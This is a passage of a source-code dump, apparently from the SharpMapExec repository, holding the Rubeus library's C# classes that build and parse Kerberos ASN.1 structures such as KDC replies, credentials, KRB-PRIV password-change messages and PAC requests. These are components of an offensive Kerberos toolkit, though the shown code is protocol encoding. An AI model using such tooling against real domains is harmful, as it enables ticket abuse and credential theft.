AsnElt.MakeInteger(cksumtype); 52 | AsnElt cksumtypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cksumtypeAsn }); 53 | cksumtypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, cksumtypeSeq); 54 | 55 | // checksum [1] OCTET STRING 56 | AsnElt checksumAsn = AsnElt.MakeBlob(checksum); 57 | AsnElt checksumSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { checksumAsn }); 58 | checksumSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, checksumSeq); 59 | 60 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cksumtypeSeq, checksumSeq }); 61 | AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { totalSeq }); 62 | return totalSeq2; 63 | } 64 | 65 | public Int32 cksumtype { get; set; } 66 | 67 | public byte[] checksum { get; set; } 68 | } 69 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/EncKDCRepPart.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Text; 4 | 5 | namespace Rubeus 6 | { 7 | public class EncKDCRepPart 8 | { 9 | //EncKDCRepPart::= SEQUENCE { 10 | // key[0] EncryptionKey, 11 | // last-req[1] LastReq, 12 | // nonce[2] UInt32, 13 | // key-expiration[3] KerberosTime OPTIONAL, 14 | // flags[4] TicketFlags, 15 | // authtime[5] KerberosTime, 16 | // starttime[6] KerberosTime OPTIONAL, 17 | // endtime[7] KerberosTime, 18 | // renew-till[8] KerberosTime OPTIONAL, 19 | // srealm[9] Realm, 20 | // sname[10] PrincipalName, 21 | // caddr[11] HostAddresses OPTIONAL, 22 | // encrypted-pa-data[12] SEQUENCE OF PA-DATA OPTIONAL 23 | //} 24 | 25 | public EncKDCRepPart(AsnElt body) 26 | { 27 | foreach (AsnElt s in body.Sub) 28 | { 29 | switch (s.TagValue) 30 | { 31 | case 0: 32 | key = new EncryptionKey(s); 33 | break; 34 | 35 | case 1: 36 | lastReq = new LastReq(s.Sub[0]); 37 | break; 38 | 39 | case 2: 40 | nonce = Convert.ToUInt32(s.Sub[0].GetInteger()); 41 | break; 42 | 43 | case 3: 44 | key_expiration = s.Sub[0].GetTime(); 45 | break; 46 | 47 | case 4: 48 | UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger()); 49 | byte[] tempBytes = BitConverter.GetBytes(temp); 50 | flags = (Interop.TicketFlags)BitConverter.ToInt32(tempBytes, 0); 51 | break; 52 | 53 | case 5: 54 | authtime = s.Sub[0].GetTime(); 55 | break; 56 | 57 | case 6: 58 | starttime = s.Sub[0].GetTime(); 59 | break; 60 | 61 | case 7: 62 | endtime = s.Sub[0].GetTime(); 63 | break; 64 | 65 | case 8: 66 | renew_till = s.Sub[0].GetTime(); 67 | break; 68 | 69 | case 9: 70 | realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); 71 | break; 72 | 73 | case 10: 74 | // sname (optional) 75 | sname = new PrincipalName(s.Sub[0]); 76 | break; 77 | 78 | case 11: 79 | // HostAddresses, skipped for now 80 | break; 81 | 82 | case 12: 83 | // encrypted-pa-data, skipped for now 84 | break; 85 | 86 | default: 87 | break; 88 | } 89 | } 90 | } 91 | 92 | // won't really every need to *create* a KDC reply, so no Encode() 93 | 94 | public EncryptionKey key { get; set; } 95 | 96 | public LastReq lastReq { get; set; } 97 | 98 | public UInt32 nonce { get; set; } 99 | 100 | public DateTime key_expiration { get; set; } 101 | 102 | public Interop.TicketFlags flags { get; set; } 103 | 104 | public DateTime authtime { get; set; } 105 | 106 | public DateTime starttime { get; set; } 107 | 108 | public DateTime endtime { get; set; } 109 | 110 | public DateTime renew_till { get; set; } 111 | 112 | public string realm { get; set; } 113 | 114 | public PrincipalName sname { get; set; } 115 | 116 | // caddr (optional) - skip for now 117 | 118 | // encrypted-pa-data (optional) - skip for now 119 | } 120 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/EncKrbCredPart.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System.Collections.Generic; 3 | 4 | namespace Rubeus 5 | { 6 | //EncKrbCredPart ::= [APPLICATION 29] SEQUENCE { 7 | // ticket-info [0] SEQUENCE OF KrbCredInfo, 8 | // nonce [1] UInt32 OPTIONAL, 9 | // timestamp [2] KerberosTime OPTIONAL, 10 | // usec [3] Microseconds OPTIONAL, 11 | // s-address [4] HostAddress OPTIONAL, 12 | // r-address [5] HostAddress OPTIONAL 13 | //} 14 | 15 | public class EncKrbCredPart 16 | { 17 | public EncKrbCredPart() 18 | { 19 | // TODO: defaults for creation 20 | ticket_info = new List(); 21 | } 22 | 23 | public EncKrbCredPart(AsnElt body) 24 | { 25 | ticket_info = new List(); 26 | 27 | byte[] octetString = body.Sub[1].Sub[0].GetOctetString(); 28 | AsnElt body2 = AsnElt.Decode(octetString, false); 29 | 30 | // assume only one KrbCredInfo for now 31 | KrbCredInfo info = new KrbCredInfo(body2.Sub[0].Sub[0].Sub[0].Sub[0]); 32 | ticket_info.Add(info); 33 | } 34 | 35 | public AsnElt Encode() 36 | { 37 | // ticket-info [0] SEQUENCE OF KrbCredInfo 38 | // assume just one ticket-info for now 39 | // TODO: handle multiple ticket-infos 40 | AsnElt infoAsn = ticket_info[0].Encode(); 41 | AsnElt seq1 = AsnElt.Make(AsnElt.SEQUENCE, new[] { infoAsn }); 42 | AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq1 }); 43 | seq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, seq2); 44 | 45 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq2 }); 46 | AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { totalSeq }); 47 | totalSeq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 29, totalSeq2); 48 | 49 | return totalSeq2; 50 | } 51 | 52 | public List ticket_info { get; set; } 53 | 54 | // other fields are optional/not used in our use cases 55 | } 56 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/EncKrbPrivPart.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Text; 4 | 5 | namespace Rubeus 6 | { 7 | //EncKrbPrivPart ::= [APPLICATION 28] SEQUENCE { 8 | // user-data [0] OCTET STRING, 9 | // timestamp [1] KerberosTime OPTIONAL, 10 | // usec [2] Microseconds OPTIONAL, 11 | // seq-number [3] UInt32 OPTIONAL, 12 | // s-address [4] HostAddress -- sender's addr --, 13 | // r-address [5] HostAddress OPTIONAL -- recip's addr 14 | //} 15 | 16 | // NOTE: we only use: 17 | // user-data [0] OCTET STRING 18 | // seq-number [3] UInt32 OPTIONAL 19 | // s-address [4] HostAddress 20 | 21 | // only used by the changepw command 22 | 23 | public class EncKrbPrivPart 24 | { 25 | public EncKrbPrivPart() 26 | { 27 | new_password = ""; 28 | 29 | var rand = new Random(); 30 | seq_number = (UInt32)rand.Next(1, Int32.MaxValue); 31 | 32 | host_name = ""; 33 | } 34 | 35 | public EncKrbPrivPart(string newPassword, string hostName) 36 | { 37 | new_password = newPassword; 38 | 39 | var rand = new Random(); 40 | seq_number = (UInt32)rand.Next(1, Int32.MaxValue); 41 | 42 | host_name = hostName; 43 | } 44 | 45 | public AsnElt Encode() 46 | { 47 | // user-data [0] OCTET STRING 48 | byte[] pwBytes = Encoding.ASCII.GetBytes(new_password); 49 | AsnElt new_passwordAsn = AsnElt.MakeBlob(pwBytes); 50 | AsnElt new_passwordSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { new_passwordAsn }); 51 | new_passwordSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, new_passwordSeq); 52 | 53 | // seq-number [3] UInt32 OPTIONAL 54 | AsnElt seq_numberAsn = AsnElt.MakeInteger(seq_number); 55 | AsnElt seq_numberSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { seq_numberAsn }); 56 | seq_numberSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, seq_numberSeq); 57 | 58 | // s-address [4] HostAddress 59 | AsnElt hostAddressTypeAsn = AsnElt.MakeInteger(20); 60 | AsnElt hostAddressTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { hostAddressTypeAsn }); 61 | hostAddressTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, hostAddressTypeSeq); 62 | 63 | byte[] hostAddressAddressBytes = Encoding.ASCII.GetBytes(host_name); 64 | AsnElt hostAddressAddressAsn = AsnElt.MakeBlob(hostAddressAddressBytes); 65 | AsnElt hostAddressAddressSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { hostAddressAddressAsn }); 66 | hostAddressAddressSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, hostAddressAddressSeq); 67 | 68 | AsnElt hostAddressSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { hostAddressTypeSeq, hostAddressAddressSeq }); 69 | AsnElt hostAddressSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { hostAddressSeq }); 70 | hostAddressSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, hostAddressSeq2); 71 | 72 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { new_passwordSeq, seq_numberSeq, hostAddressSeq2 }); 73 | AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); 74 | 75 | seq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 28, seq2); 76 | 77 | return seq2; 78 | } 79 | 80 | public string new_password { get; set; } 81 | 82 | public UInt32 seq_number { get; set; } 83 | 84 | public string host_name { get; set; } 85 | } 86 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/EncryptedData.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | 4 | namespace Rubeus 5 | { 6 | public class EncryptedData 7 | { 8 | //EncryptedData::= SEQUENCE { 9 | // etype[0] Int32 -- EncryptionType --, 10 | // kvno[1] UInt32 OPTIONAL, 11 | // cipher[2] OCTET STRING -- ciphertext 12 | //} 13 | 14 | public EncryptedData() 15 | { 16 | } 17 | 18 | public EncryptedData(Int32 encType, byte[] data) 19 | { 20 | etype = encType; 21 | cipher = data; 22 | } 23 | 24 | public EncryptedData(AsnElt body) 25 | { 26 | foreach (AsnElt s in body.Sub) 27 | { 28 | switch (s.TagValue) 29 | { 30 | case 0: 31 | etype = Convert.ToInt32(s.Sub[0].GetInteger()); 32 | break; 33 | 34 | case 1: 35 | kvno = Convert.ToUInt32(s.Sub[0].GetInteger()); 36 | break; 37 | 38 | case 2: 39 | cipher = s.Sub[0].GetOctetString(); 40 | break; 41 | 42 | default: 43 | break; 44 | } 45 | } 46 | } 47 | 48 | public AsnElt Encode() 49 | { 50 | // etype [0] Int32 -- EncryptionType --, 51 | AsnElt etypeAsn = AsnElt.MakeInteger(etype); 52 | AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn }); 53 | etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq); 54 | 55 | // cipher [2] OCTET STRING -- ciphertext 56 | AsnElt cipherAsn = AsnElt.MakeBlob(cipher); 57 | AsnElt cipherSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cipherAsn }); 58 | cipherSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, cipherSeq); 59 | 60 | if (kvno != 0) 61 | { 62 | // kvno [1] UInt32 OPTIONAL 63 | AsnElt kvnoAsn = AsnElt.MakeInteger(kvno); 64 | AsnElt kvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { kvnoAsn }); 65 | kvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, kvnoSeq); 66 | 67 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, kvnoSeq, cipherSeq }); 68 | return totalSeq; 69 | } 70 | else 71 | { 72 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, cipherSeq }); 73 | return totalSeq; 74 | } 75 | } 76 | 77 | public Int32 etype { get; set; } 78 | 79 | public UInt32 kvno { get; set; } 80 | 81 | public byte[] cipher { get; set; } 82 | } 83 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/EncryptionKey.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | 4 | namespace Rubeus 5 | { 6 | public class EncryptionKey 7 | { 8 | //EncryptionKey::= SEQUENCE { 9 | // keytype[0] Int32 -- actually encryption type --, 10 | // keyvalue[1] OCTET STRING 11 | //} 12 | 13 | public EncryptionKey() 14 | { 15 | keytype = 0; 16 | 17 | keyvalue = null; 18 | } 19 | 20 | public EncryptionKey(AsnElt body) 21 | { 22 | foreach (AsnElt s in body.Sub[0].Sub) 23 | { 24 | switch (s.TagValue) 25 | { 26 | case 0: 27 | keytype = Convert.ToInt32(s.Sub[0].GetInteger()); 28 | break; 29 | 30 | case 1: 31 | keyvalue = s.Sub[0].GetOctetString(); 32 | break; 33 | 34 | case 2: 35 | keyvalue = s.Sub[0].GetOctetString(); 36 | break; 37 | 38 | default: 39 | break; 40 | } 41 | } 42 | } 43 | 44 | public AsnElt Encode() 45 | { 46 | // keytype[0] Int32 -- actually encryption type -- 47 | AsnElt keyTypeElt = AsnElt.MakeInteger(keytype); 48 | AsnElt keyTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { keyTypeElt }); 49 | keyTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, keyTypeSeq); 50 | 51 | // keyvalue[1] OCTET STRING 52 | AsnElt blob = AsnElt.MakeBlob(keyvalue); 53 | AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { blob }); 54 | blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, blobSeq); 55 | 56 | // build the final sequences (s) 57 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { keyTypeSeq, blobSeq }); 58 | AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); 59 | 60 | return seq2; 61 | } 62 | 63 | public Int32 keytype { get; set; } 64 | 65 | public byte[] keyvalue { get; set; } 66 | } 67 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/HostAddress.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Text; 4 | 5 | namespace Rubeus 6 | { 7 | //Hostname::= SEQUENCE { 8 | // name-type[0] Int32, 9 | // name-string[1] SEQUENCE OF KerberosString 10 | //} 11 | 12 | public class HostAddress 13 | { 14 | public HostAddress() 15 | { 16 | // nETBIOS = 20 17 | // netbios name of the requesting machine 18 | 19 | addr_type = Interop.HostAddressType.ADDRTYPE_NETBIOS; 20 | 21 | addr_string = string.Empty; 22 | } 23 | 24 | public HostAddress(string hostName) 25 | { 26 | // create with hostname 27 | addr_type = Interop.HostAddressType.ADDRTYPE_NETBIOS; 28 | 29 | // setup padding 30 | Int32 numSpaces = 8 - (hostName.Length % 8); 31 | hostName = hostName.PadRight(hostName.Length + numSpaces); 32 | 33 | addr_string = hostName.ToUpper(); 34 | } 35 | 36 | public HostAddress(Interop.HostAddressType atype, string address) 37 | { 38 | // create with different type 39 | addr_type = atype; 40 | 41 | // setup padding 42 | Int32 numSpaces = 8 - (address.Length % 8); 43 | address = address.PadRight(address.Length + numSpaces); 44 | 45 | addr_string = address.ToUpper(); 46 | } 47 | 48 | public HostAddress(AsnElt body) 49 | { 50 | addr_type = (Interop.HostAddressType)body.Sub[0].Sub[0].GetInteger(); 51 | 52 | addr_string = Encoding.ASCII.GetString(body.Sub[9].Sub[0].Sub[0].GetOctetString()); 53 | } 54 | 55 | public AsnElt Encode() 56 | { 57 | // addr-type[0] Int32 58 | // addr-string[1] OCTET STRING 59 | AsnElt addrTypeElt = AsnElt.MakeInteger((long)addr_type); 60 | AsnElt addrTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { addrTypeElt }); 61 | addrTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, addrTypeSeq); 62 | 63 | AsnElt addrStringElt = AsnElt.MakeString(AsnElt.TeletexString, addr_string); 64 | addrStringElt = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.OCTET_STRING, addrStringElt); 65 | AsnElt addrStringSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { addrStringElt }); 66 | addrStringSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, addrStringSeq); 67 | 68 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { addrTypeSeq, addrStringSeq }); 69 | 70 | return seq; 71 | } 72 | 73 | public Interop.HostAddressType addr_type { get; set; } 74 | 75 | public string addr_string { get; set; } 76 | } 77 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/KERB_AD_RESTRICTION_ENTRY.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | 4 | namespace Rubeus 5 | { 6 | // KERB-AD-RESTRICTION-ENTRY ::= SEQUENCE { 7 | // restriction-type[0] Int32, 8 | // restriction[1] OCTET STRING 9 | // } 10 | public class KERB_AD_RESTRICTION_ENTRY 11 | { 12 | public KERB_AD_RESTRICTION_ENTRY() 13 | { 14 | restriction_type = 0; 15 | 16 | Interop.LSAP_TOKEN_INFO_INTEGRITY_FLAGS flags = Interop.LSAP_TOKEN_INFO_INTEGRITY_FLAGS.UAC_RESTRICTED; 17 | Interop.LSAP_TOKEN_INFO_INTEGRITY_TOKENIL tokenIL = Interop.LSAP_TOKEN_INFO_INTEGRITY_TOKENIL.MEDIUM; 18 | 19 | restriction = buildTokenStruct(flags, tokenIL); 20 | } 21 | 22 | public KERB_AD_RESTRICTION_ENTRY(byte[] data) 23 | { 24 | restriction_type = 0; 25 | 26 | restriction = data; 27 | } 28 | 29 | public KERB_AD_RESTRICTION_ENTRY(Interop.LSAP_TOKEN_INFO_INTEGRITY_FLAGS flags, Interop.LSAP_TOKEN_INFO_INTEGRITY_TOKENIL tokenIL) 30 | { 31 | restriction_type = 0; 32 | 33 | restriction = buildTokenStruct(flags, tokenIL); 34 | } 35 | 36 | private byte[] buildTokenStruct(Interop.LSAP_TOKEN_INFO_INTEGRITY_FLAGS flags, Interop.LSAP_TOKEN_INFO_INTEGRITY_TOKENIL tokenIL) 37 | { 38 | // LSAP_TOKEN_INFO_INTEGRITY struct 39 | Interop.LSAP_TOKEN_INFO_INTEGRITY tokenInfo; 40 | tokenInfo.Flags = flags; 41 | tokenInfo.TokenIL = tokenIL; 42 | 43 | // random machine ID 44 | var rand = new Random(); 45 | tokenInfo.machineID = new byte[32]; 46 | rand.NextBytes(tokenInfo.machineID); 47 | 48 | // get struct bytes 49 | byte[] data = new byte[40]; 50 | data[0] = (byte)((int)tokenInfo.Flags >> 24); 51 | data[1] = (byte)((int)tokenInfo.Flags >> 16); 52 | data[2] = (byte)((int)tokenInfo.Flags >> 8); 53 | data[3] = (byte)((int)tokenInfo.Flags); 54 | data[4] = (byte)((int)tokenInfo.TokenIL >> 24); 55 | data[5] = (byte)((int)tokenInfo.TokenIL >> 16); 56 | data[6] = (byte)((int)tokenInfo.TokenIL >> 8); 57 | data[7] = (byte)((int)tokenInfo.TokenIL); 58 | for (int j = 0; j < 32; ++j) 59 | { 60 | data[j + 8] = tokenInfo.machineID[j]; 61 | } 62 | 63 | return data; 64 | } 65 | 66 | public AsnElt Encode() 67 | { 68 | // restriction-type [0] Int32 69 | AsnElt adTypeElt = AsnElt.MakeInteger(restriction_type); 70 | AsnElt adTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { adTypeElt }); 71 | adTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, adTypeSeq); 72 | 73 | // restriction [1] OCTET STRING 74 | AsnElt adDataElt = AsnElt.MakeBlob(restriction); 75 | AsnElt adDataSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { adDataElt }); 76 | adDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, adDataSeq); 77 | 78 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { adTypeSeq, adDataSeq }); 79 | AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { seq }); 80 | 81 | return seq2; 82 | } 83 | 84 | public long restriction_type { get; set; } 85 | 86 | public byte[] restriction { get; set; } 87 | } 88 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/KERB_PA_PAC_REQUEST.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | 3 | namespace Rubeus 4 | { 5 | //KERB-PA-PAC-REQUEST ::= SEQUENCE { 6 | // include-pac[0] BOOLEAN --If TRUE, and no pac present, include PAC. 7 | // --If FALSE, and PAC present, remove PAC 8 | //} 9 | 10 | public class KERB_PA_PAC_REQUEST 11 | { 12 | public KERB_PA_PAC_REQUEST() 13 | { 14 | // default -> include PAC 15 | include_pac = true; 16 | } 17 | 18 | public KERB_PA_PAC_REQUEST(AsnElt value) 19 | { 20 | include_pac = value.Sub[0].Sub[0].GetBoolean(); 21 | } 22 | 23 | public AsnElt Encode() 24 | { 25 | AsnElt ret; 26 | 27 | if (include_pac) 28 | { 29 | ret = AsnElt.MakeBlob(new byte[] { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x01 }); 30 | } 31 | else 32 | { 33 | ret = AsnElt.MakeBlob(new byte[] { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x00 }); 34 | } 35 | 36 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ret }); 37 | 38 | return seq; 39 | } 40 | 41 | public bool include_pac { get; set; } 42 | } 43 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/KRB_ERROR.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Text; 5 | 6 | namespace Rubeus 7 | { 8 | public class KRB_ERROR 9 | { 10 | //KRB-ERROR ::= [APPLICATION 30] SEQUENCE { 11 | // pvno [0] INTEGER (5), 12 | // msg-type [1] INTEGER (30), 13 | // ctime [2] KerberosTime OPTIONAL, 14 | // cusec [3] Microseconds OPTIONAL, 15 | // stime [4] KerberosTime, 16 | // susec [5] Microseconds, 17 | // error-code [6] Int32, 18 | // crealm [7] Realm OPTIONAL, 19 | // cname [8] PrincipalName OPTIONAL, 20 | // realm [9] Realm -- service realm --, 21 | // sname [10] PrincipalName -- service name --, 22 | // e-text [11] KerberosString OPTIONAL, 23 | // e-data [12] OCTET STRING OPTIONAL 24 | //} 25 | 26 | public KRB_ERROR(byte[] errorBytes) 27 | { 28 | } 29 | 30 | public KRB_ERROR(AsnElt body) 31 | { 32 | foreach (AsnElt s in body.Sub) 33 | { 34 | switch (s.TagValue) 35 | { 36 | case 0: 37 | pvno = Convert.ToUInt32(s.Sub[0].GetInteger()); 38 | break; 39 | 40 | case 1: 41 | msg_type = Convert.ToUInt32(s.Sub[0].GetInteger()); 42 | break; 43 | 44 | case 2: 45 | ctime = s.Sub[0].GetTime(); 46 | break; 47 | 48 | case 3: 49 | cusec = Convert.ToUInt32(s.Sub[0].GetInteger()); 50 | break; 51 | 52 | case 4: 53 | stime = s.Sub[0].GetTime(); 54 | break; 55 | 56 | case 5: 57 | susec = Convert.ToUInt32(s.Sub[0].GetInteger()); 58 | break; 59 | 60 | case 6: 61 | error_code = Convert.ToUInt32(s.Sub[0].GetInteger()); 62 | break; 63 | 64 | case 7: 65 | crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); 66 | break; 67 | 68 | case 8: 69 | cname = new PrincipalName(s.Sub[0]); 70 | break; 71 | 72 | case 9: 73 | realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); 74 | break; 75 | 76 | case 10: 77 | sname = new PrincipalName(s.Sub[0]); 78 | break; 79 | 80 | default: 81 | break; 82 | } 83 | } 84 | } 85 | 86 | // don't ever really need to create a KRB_ERROR structure manually, so no Encode() 87 | 88 | public long pvno { get; set; } 89 | 90 | public long msg_type { get; set; } 91 | 92 | public DateTime ctime { get; set; } 93 | 94 | public long cusec { get; set; } 95 | 96 | public DateTime stime { get; set; } 97 | 98 | public long susec { get; set; } 99 | 100 | public long error_code { get; set; } 101 | 102 | public string crealm { get; set; } 103 | 104 | public PrincipalName cname { get; set; } 105 | 106 | public string realm { get; set; } 107 | 108 | public PrincipalName sname { get; set; } 109 | 110 | // skipping these two for now 111 | // e_text 112 | // e_data 113 | 114 | //public Ticket[] tickets { get; set; } 115 | public List tickets { get; set; } 116 | 117 | public EncKrbCredPart enc_part { get; set; } 118 | } 119 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/KRB_PRIV.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | 3 | namespace Rubeus 4 | { 5 | public class KRB_PRIV 6 | { 7 | //KRB-PRIV ::= [APPLICATION 21] SEQUENCE { 8 | // pvno [0] INTEGER (5), 9 | // msg-type [1] INTEGER (21), 10 | // -- NOTE: there is no [2] tag 11 | // enc-part [3] EncryptedData -- EncKrbPrivPart 12 | //} 13 | 14 | public KRB_PRIV(Interop.KERB_ETYPE encType, byte[] encKey) 15 | { 16 | // defaults for creation 17 | pvno = 5; 18 | msg_type = 21; 19 | 20 | etype = encType; 21 | 22 | ekey = encKey; 23 | 24 | enc_part = new EncKrbPrivPart(); 25 | } 26 | 27 | public AsnElt Encode() 28 | { 29 | // pvno [0] INTEGER (5) 30 | AsnElt pvnoAsn = AsnElt.MakeInteger(pvno); 31 | AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoAsn }); 32 | pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq); 33 | 34 | // msg-type [1] INTEGER (21) 35 | AsnElt msg_typeAsn = AsnElt.MakeInteger(msg_type); 36 | AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { msg_typeAsn }); 37 | msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq); 38 | 39 | // enc-part [3] EncryptedData -- EncKrbPrivPart 40 | AsnElt enc_partAsn = enc_part.Encode(); 41 | 42 | // etype 43 | AsnElt etypeAsn = AsnElt.MakeInteger((int)etype); 44 | AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn }); 45 | etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq); 46 | 47 | // now encrypt the enc_part (EncKrbPrivPart) 48 | // KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART = 13; 49 | byte[] encBytes = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, ekey, enc_partAsn.Encode()); 50 | AsnElt blob = AsnElt.MakeBlob(encBytes); 51 | AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); 52 | blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); 53 | 54 | AsnElt encPrivSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, blobSeq }); 55 | AsnElt encPrivSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { encPrivSeq }); 56 | encPrivSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, encPrivSeq2); 57 | 58 | // all the components 59 | AsnElt total = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoSeq, msg_typeSeq, encPrivSeq2 }); 60 | 61 | // tag the final total ([APPLICATION 21]) 62 | AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { total }); 63 | final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 21, final); 64 | 65 | return final; 66 | } 67 | 68 | public long pvno { get; set; } 69 | 70 | public long msg_type { get; set; } 71 | 72 | public EncKrbPrivPart enc_part { get; set; } 73 | 74 | public Interop.KERB_ETYPE etype { get; set; } 75 | 76 | public byte[] ekey { get; set; } 77 | } 78 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/KrbAlgorithmIdentifier.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System.Security.Cryptography; 3 | 4 | namespace Rubeus 5 | { 6 | public class KrbAlgorithmIdentifier 7 | { 8 | public Oid Algorithm { get; set; } 9 | public byte[] Parameters { get; set; } 10 | 11 | public KrbAlgorithmIdentifier(Oid algorithm, byte[] parameters) 12 | { 13 | Algorithm = algorithm; 14 | Parameters = parameters; 15 | } 16 | 17 | public AsnElt Encode() 18 | { 19 | AsnElt parameters = AsnElt.Decode(Parameters); 20 | 21 | return AsnElt.Make( 22 | AsnElt.SEQUENCE, new AsnElt[] { 23 | AsnElt.MakeOID(Algorithm.Value), 24 | parameters} 25 | ); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/krb_structures/KrbAuthPack.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System.Security.Cryptography.X509Certificates; 3 | 